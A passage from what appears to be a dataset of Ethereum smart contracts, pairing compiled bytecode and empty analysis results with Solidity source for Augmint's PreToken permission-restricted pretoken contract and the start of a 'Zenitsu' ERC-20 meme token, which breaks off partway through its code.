5060200191505060405180910390fd5b600082840390508091505092915050565b6000808284019050838110156112ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116bb6021913960400191505060405180910390fd5b61135f816002546111b390919063ffffffff16565b6002819055506113b6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b61146c82826112c4565b611505823361150084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b390919063ffffffff16565b610da6565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116736026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72305820641459f6db79d676326cd8148dfbd0728763ea07540978e7ff7a240cdab8655e64736f6c634300050a0032
{"success": true, "error": null, "results": {}}
7,664
0xecb782b19be6e657ae2d88831dd98145a00d32d5
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b, "mul overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "div by 0"); // Solidity automatically throws for div by 0 but require to emit reason uint256 c = a / b; // require(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "sub underflow"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "add overflow"); return c; } function roundedDiv(uint a, uint b) internal pure returns (uint256) { require(b > 0, "div by 0"); // Solidity automatically throws for div by 0 but require to emit reason uint256 z = a / b; if (a % b >= b / 2) { z++; // no need for safe add b/c it can happen only if we divided the input } return z; } } /* Generic contract to authorise calls to certain functions only from a given address. The address authorised must be a contract (multisig or not, depending on the permission), except for local test deployment works as: 1. contract deployer account deploys contracts 2. constructor grants "PermissionGranter" permission to deployer account 3. deployer account executes initial setup (no multiSig) 4. deployer account grants PermissionGranter permission for the MultiSig contract (e.g. StabilityBoardProxy or PreTokenProxy) 5. deployer account revokes its own PermissionGranter permission */ contract Restricted { // NB: using bytes32 rather than the string type because it's cheaper gas-wise: mapping (address => mapping (bytes32 => bool)) public permissions; event PermissionGranted(address indexed agent, bytes32 grantedPermission); event PermissionRevoked(address indexed agent, bytes32 revokedPermission); modifier restrict(bytes32 requiredPermission) { require(permissions[msg.sender][requiredPermission], "msg.sender must have permission"); _; } constructor(address permissionGranterContract) public { require(permissionGranterContract != address(0), "permissionGranterContract must be set"); permissions[permissionGranterContract]["PermissionGranter"] = true; emit PermissionGranted(permissionGranterContract, "PermissionGranter"); } function grantPermission(address agent, bytes32 requiredPermission) public { require(permissions[msg.sender]["PermissionGranter"], "msg.sender must have PermissionGranter permission"); permissions[agent][requiredPermission] = true; emit PermissionGranted(agent, requiredPermission); } function grantMultiplePermissions(address agent, bytes32[] requiredPermissions) public { require(permissions[msg.sender]["PermissionGranter"], "msg.sender must have PermissionGranter permission"); uint256 length = requiredPermissions.length; for (uint256 i = 0; i < length; i++) { grantPermission(agent, requiredPermissions[i]); } } function revokePermission(address agent, bytes32 requiredPermission) public { require(permissions[msg.sender]["PermissionGranter"], "msg.sender must have PermissionGranter permission"); permissions[agent][requiredPermission] = false; emit PermissionRevoked(agent, requiredPermission); } function revokeMultiplePermissions(address agent, bytes32[] requiredPermissions) public { uint256 length = requiredPermissions.length; for (uint256 i = 0; i < length; i++) { revokePermission(agent, requiredPermissions[i]); } } } /* Augmint pretoken contract to record agreements and tokens allocated based on the agreement. Important: this is NOT an ERC20 token! PreTokens are non-fungible: agreements can have different conditions (valuationCap and discount) and pretokens are not tradable. Ownership can be transferred if owner wants to change wallet but the whole agreement and the total pretoken amount is moved to a new account PreTokenSigner can (via MultiSig): - add agreements and issue pretokens to an agreement - change owner of any agreement to handle if an owner lost a private keys - burn pretokens from any agreement to fix potential erroneous issuance These are known compromises on trustlessness hence all these tokens distributed based on signed agreements and preTokens are issued only to a closed group of contributors / team members. If despite these something goes wrong then as a last resort a new pretoken contract can be recreated from agreements. Some ERC20 functions are implemented so agreement owners can see their balances and use transfer in standard wallets. Restrictions: - only total balance can be transfered - effectively ERC20 transfer used to transfer agreement ownership - only agreement holders can transfer (i.e. can't transfer 0 amount if have no agreement to avoid polluting logs with Transfer events) - transfer is only allowed to accounts without an agreement yet - no approval and transferFrom ERC20 functions */ contract PreToken is Restricted { using SafeMath for uint256; uint public constant CHUNK_SIZE = 100; string constant public name = "Augmint pretokens"; // solhint-disable-line const-name-snakecase string constant public symbol = "APRE"; // solhint-disable-line const-name-snakecase uint8 constant public decimals = 0; // solhint-disable-line const-name-snakecase uint public totalSupply; struct Agreement { address owner; uint balance; uint32 discount; // discountRate in parts per million , ie. 10,000 = 1% uint32 valuationCap; // in USD (no decimals) } /* Agreement hash is the SHA-2 (SHA-256) hash of signed agreement document. To generate: OSX: shasum -a 256 agreement.pdf Windows: certUtil -hashfile agreement.pdf SHA256 */ mapping(address => bytes32) public agreementOwners; // to lookup agrement by owner mapping(bytes32 => Agreement) public agreements; bytes32[] public allAgreements; // all agreements to able to iterate over event Transfer(address indexed from, address indexed to, uint amount); event NewAgreement(address owner, bytes32 agreementHash, uint32 discount, uint32 valuationCap); constructor(address permissionGranterContract) public Restricted(permissionGranterContract) {} // solhint-disable-line no-empty-blocks function addAgreement(address owner, bytes32 agreementHash, uint32 discount, uint32 valuationCap) external restrict("PreTokenSigner") { require(owner != address(0), "owner must not be 0x0"); require(agreementOwners[owner] == 0x0, "owner must not have an aggrement yet"); require(agreementHash != 0x0, "agreementHash must not be 0x0"); require(discount > 0, "discount must be > 0"); require(agreements[agreementHash].discount == 0, "agreement must not exist yet"); agreements[agreementHash] = Agreement(owner, 0, discount, valuationCap); agreementOwners[owner] = agreementHash; allAgreements.push(agreementHash); emit NewAgreement(owner, agreementHash, discount, valuationCap); } function issueTo(bytes32 agreementHash, uint amount) external restrict("PreTokenSigner") { Agreement storage agreement = agreements[agreementHash]; require(agreement.discount > 0, "agreement must exist"); agreement.balance = agreement.balance.add(amount); totalSupply = totalSupply.add(amount); emit Transfer(0x0, agreement.owner, amount); } /* Restricted function to allow pretoken signers to fix incorrect issuance */ function burnFrom(bytes32 agreementHash, uint amount) public restrict("PreTokenSigner") returns (bool) { Agreement storage agreement = agreements[agreementHash]; require(agreement.discount > 0, "agreement must exist"); // this is redundant b/c of next requires but be explicit require(amount > 0, "burn amount must be > 0"); require(agreement.balance >= amount, "must not burn more than balance"); // .sub would revert anyways but emit reason agreement.balance = agreement.balance.sub(amount); totalSupply = totalSupply.sub(amount); emit Transfer(agreement.owner, 0x0, amount); return true; } function balanceOf(address owner) public view returns (uint) { return agreements[agreementOwners[owner]].balance; } /* function to transfer agreement ownership to other wallet by owner it's in ERC20 form so owners can use standard ERC20 wallet just need to pass full balance as value */ function transfer(address to, uint amount) public returns (bool) { // solhint-disable-line no-simple-event-func-name require(amount == agreements[agreementOwners[msg.sender]].balance, "must transfer full balance"); _transfer(msg.sender, to); return true; } /* Restricted function to allow pretoken signers to fix if pretoken owner lost keys */ function transferAgreement(bytes32 agreementHash, address to) public restrict("PreTokenSigner") returns (bool) { _transfer(agreements[agreementHash].owner, to); return true; } /* private function used by transferAgreement & transfer */ function _transfer(address from, address to) private { Agreement storage agreement = agreements[agreementOwners[from]]; require(agreementOwners[from] != 0x0, "from agreement must exists"); require(agreementOwners[to] == 0, "to must not have an agreement"); require(to != 0x0, "must not transfer to 0x0"); agreement.owner = to; agreementOwners[to] = agreementOwners[from]; agreementOwners[from] = 0x0; emit Transfer(from, to, agreement.balance); } function getAgreementsCount() external view returns (uint agreementsCount) { return allAgreements.length; } // UI helper fx - Returns all agreements from offset as // [index in allAgreements, account address as uint, balance, agreementHash as uint, // discount as uint, valuationCap as uint ] function getAllAgreements(uint offset) external view returns(uint[6][CHUNK_SIZE] agreementsResult) { for (uint8 i = 0; i < CHUNK_SIZE && i + offset < allAgreements.length; i++) { bytes32 agreementHash = allAgreements[i + offset]; Agreement storage agreement = agreements[agreementHash]; agreementsResult[i] = [ i + offset, uint(agreement.owner), agreement.balance, uint(agreementHash), uint(agreement.discount), uint(agreement.valuationCap)]; } } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063086fd46b146101b25780630c3cebfa146101dd5780630f1354f3146102185780631782207d1461026b57806318160ddd146102b4578063313ce567146102df578063474ec7b0146103105780635b2255261461036f5780635fe07013146103d857806370a08231146104295780637ea469931461048057806395d89b41146105065780639ac3317b146105965780639e1f68c71461061c578063a6c2f3b2146106ba578063a9059cbb14610746578063bc7f58b1146107ab578063dc2f56cf1461081c578063e91e13a914610885578063f38a8262146108b0575b600080fd5b34801561012e57600080fd5b50610137610901565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017757808201518184015260208101905061015c565b50505050905090810190601f1680156101a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101be57600080fd5b506101c761093a565b6040518082815260200191505060405180910390f35b3480156101e957600080fd5b50610216600480360381019080803560001916906020019092919080359060200190929190505050610947565b005b34801561022457600080fd5b50610251600480360381019080803560001916906020019092919080359060200190929190505050610ba6565b604051808215151515815260200191505060405180910390f35b34801561027757600080fd5b5061029660048036038101908080359060200190929190505050610f00565b60405180826000191660001916815260200191505060405180910390f35b3480156102c057600080fd5b506102c9610f23565b6040518082815260200191505060405180910390f35b3480156102eb57600080fd5b506102f4610f29565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610351600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f2e565b60405180826000191660001916815260200191505060405180910390f35b34801561037b57600080fd5b506103be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050610f46565b604051808215151515815260200191505060405180910390f35b3480156103e457600080fd5b50610427600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050610f75565b005b34801561043557600080fd5b5061046a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061115a565b6040518082815260200191505060405180910390f35b34801561048c57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506111c1565b005b34801561051257600080fd5b5061051b611209565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055b578082015181840152602081019050610540565b50505050905090810190601f1680156105885780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105a257600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611242565b005b34801561062857600080fd5b5061064b60048036038101908080356000191690602001909291905050506113a5565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018363ffffffff1663ffffffff1681526020018263ffffffff1663ffffffff16815260200194505050505060405180910390f35b3480156106c657600080fd5b506106e560048036038101908080359060200190929190505050611415565b604051808260646000925b818410156107365782846020020151600660200280838360005b8381101561072557808201518184015260208101905061070a565b5050505090500192600101926106f0565b9250505091505060405180910390f35b34801561075257600080fd5b50610791600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061155c565b604051808215151515815260200191505060405180910390f35b3480156107b757600080fd5b5061081a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190803563ffffffff169060200190929190803563ffffffff169060200190929190505050611646565b005b34801561082857600080fd5b5061086b6004803603810190808035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c91565b604051808215151515815260200191505060405180910390f35b34801561089157600080fd5b5061089a611de0565b6040518082815260200191505060405180910390f35b3480156108bc57600080fd5b506108ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050611de5565b005b6040805190810160405280601181526020017f4175676d696e7420707265746f6b656e7300000000000000000000000000000081525081565b6000600480549050905090565b60007f507265546f6b656e5369676e65720000000000000000000000000000000000006000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff161515610a43576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f6d73672e73656e646572206d7573742068617665207065726d697373696f6e0081525060200191505060405180910390fd5b600360008560001916600019168152602001908152602001600020915060008260020160009054906101000a900463ffffffff1663ffffffff16111515610af2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f61677265656d656e74206d75737420657869737400000000000000000000000081525060200191505060405180910390fd5b610b09838360010154611fca90919063ffffffff16565b8260010181905550610b2683600154611fca90919063ffffffff16565b6001819055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6000807f507265546f6b656e5369676e65720000000000000000000000000000000000006000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff161515610ca3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f6d73672e73656e646572206d7573742068617665207065726d697373696f6e0081525060200191505060405180910390fd5b600360008660001916600019168152602001908152602001600020915060008260020160009054906101000a900463ffffffff1663ffffffff16111515610d52576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f61677265656d656e74206d75737420657869737400000000000000000000000081525060200191505060405180910390fd5b600084111515610dca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f6275726e20616d6f756e74206d757374206265203e203000000000000000000081525060200191505060405180910390fd5b83826001015410151515610e46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f6d757374206e6f74206275726e206d6f7265207468616e2062616c616e63650081525060200191505060405180910390fd5b610e5d84836001015461205490919063ffffffff16565b8260010181905550610e7a8460015461205490919063ffffffff16565b60018190555060008260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250505092915050565b600481815481101515610f0f57fe5b906000526020600020016000915090505481565b60015481565b600081565b60026020528060005260406000206000915090505481565b60006020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007f5065726d697373696f6e4772616e74657200000000000000000000000000000060001916815260200190815260200160002060009054906101000a900460ff161515611090576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001807f6d73672e73656e646572206d7573742068617665205065726d697373696f6e4781526020017f72616e746572207065726d697373696f6e00000000000000000000000000000081525060400191505060405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f789770131846de4d1f28418f0f957cdf4fcabe5eccf70067083e20ecece69a348260405180826000191660001916815260200191505060405180910390a25050565b600060036000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460001916600019168152602001908152602001600020600101549050919050565b60008082519150600090505b81811015611203576111f68484838151811015156111e757fe5b90602001906020020151610f75565b80806001019150506111cd565b50505050565b6040805190810160405280600481526020017f415052450000000000000000000000000000000000000000000000000000000081525081565b6000806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007f5065726d697373696f6e4772616e74657200000000000000000000000000000060001916815260200190815260200160002060009054906101000a900460ff161515611360576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001807f6d73672e73656e646572206d7573742068617665205065726d697373696f6e4781526020017f72616e746572207065726d697373696f6e00000000000000000000000000000081525060400191505060405180910390fd5b82519150600090505b8181101561139f5761139284848381518110151561138357fe5b90602001906020020151611de5565b8080600101915050611369565b50505050565b60036020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020160009054906101000a900463ffffffff16908060020160049054906101000a900463ffffffff16905084565b61141d6124c7565b60008060008092505b60648360ff161080156114425750600480549050858460ff1601105b15611554576004858460ff160181548110151561145b57fe5b90600052602060002001549150600360008360001916600019168152602001908152602001600020905060c060405190810160405280868560ff160181526020018260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182600101548152602001836001900481526020018260020160009054906101000a900463ffffffff1663ffffffff1681526020018260020160049054906101000a900463ffffffff1663ffffffff16815250848460ff1660648110151561153f57fe5b60200201819052508280600101935050611426565b505050919050565b600060036000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600019166000191681526020019081526020016000206001015482141515611632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f6d757374207472616e736665722066756c6c2062616c616e636500000000000081525060200191505060405180910390fd5b61163c33846120d9565b6001905092915050565b7f507265546f6b656e5369676e65720000000000000000000000000000000000006000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff161515611740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f6d73672e73656e646572206d7573742068617665207065726d697373696f6e0081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515156117e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f6f776e6572206d757374206e6f7420626520307830000000000000000000000081525060200191505060405180910390fd5b6000600102600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600019161415156118c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f6f776e6572206d757374206e6f74206861766520616e2061676772656d656e7481526020017f207965740000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000600102846000191614151515611949576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f61677265656d656e7448617368206d757374206e6f742062652030783000000081525060200191505060405180910390fd5b60008363ffffffff161115156119c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f646973636f756e74206d757374206265203e203000000000000000000000000081525060200191505060405180910390fd5b600060036000866000191660001916815260200190815260200160002060020160009054906101000a900463ffffffff1663ffffffff16141515611a73576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f61677265656d656e74206d757374206e6f74206578697374207965740000000081525060200191505060405180910390fd5b6080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018463ffffffff1681526020018363ffffffff1681525060036000866000191660001916815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020160006101000a81548163ffffffff021916908363ffffffff16021790555060608201518160020160046101000a81548163ffffffff021916908363ffffffff16021790555090505083600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020816000191690555060048490806001815401808255809150509060018203906000526020600020016000909192909190915090600019169055507f4f05b254ed3726f5c6a922f50bc77d67aa2407e2151b868690a5ce003f059d2785858585604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184600019166000191681526020018363ffffffff1663ffffffff1681526020018263ffffffff1663ffffffff16815260200194505050505060405180910390a15050505050565b60007f507265546f6b656e5369676e65720000000000000000000000000000000000006000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff161515611d8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f6d73672e73656e646572206d7573742068617665207065726d697373696f6e0081525060200191505060405180910390fd5b611dd560036000866000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846120d9565b600191505092915050565b606481565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060007f5065726d697373696f6e4772616e74657200000000000000000000000000000060001916815260200190815260200160002060009054906101000a900460ff161515611f00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001807f6d73672e73656e646572206d7573742068617665205065726d697373696f6e4781526020017f72616e746572207065726d697373696f6e00000000000000000000000000000081525060400191505060405180910390fd5b60016000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167fc65937e3dbcb9fb30f646815dd67a3dbd09ba17718cbcb54efbe3635f8e0a6fe8260405180826000191660001916815260200191505060405180910390a25050565b600080828401905083811015151561204a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f616464206f766572666c6f77000000000000000000000000000000000000000081525060200191505060405180910390fd5b8091505092915050565b60008282111515156120ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f73756220756e646572666c6f770000000000000000000000000000000000000081525060200191505060405180910390fd5b818303905092915050565b600060036000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000191660001916815260200190815260200160002090506000600102600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460001916141515156121f6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f66726f6d2061677265656d656e74206d7573742065786973747300000000000081525060200191505060405180910390fd5b6000600102600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600019161415156122b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f746f206d757374206e6f74206861766520616e2061677265656d656e7400000081525060200191505060405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515612343576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f6d757374206e6f74207472616e7366657220746f20307830000000000000000081525060200191505060405180910390fd5b818160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081600019169055506000600102600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081600019169055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83600101546040518082815260200191505060405180910390a3505050565b614b00604051908101604052806064905b6124e06124f6565b8152602001906001900390816124d85790505090565b60c0604051908101604052806006906020820280388339808201915050905050905600a165627a7a72305820f0250ce2447c0241a58638add62c75aeff3c70eef70ee530c8728ca48424b4b30029
{"success": true, "error": null, "results": {}}
7,665
0xd3e394adb9e78c3a5d490b457df4b3f0da06765a
/** Zenitsu👦⚔️ Live: April 16th Telegram: https://t.me/ZenitsuETH Website: https://zenitsueth.site/ */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Zenitsu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 200000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Zenitsu"; string private constant _symbol = "Zenitsu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x54A59E942713104F6Ebb970F85768325858c879A); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } 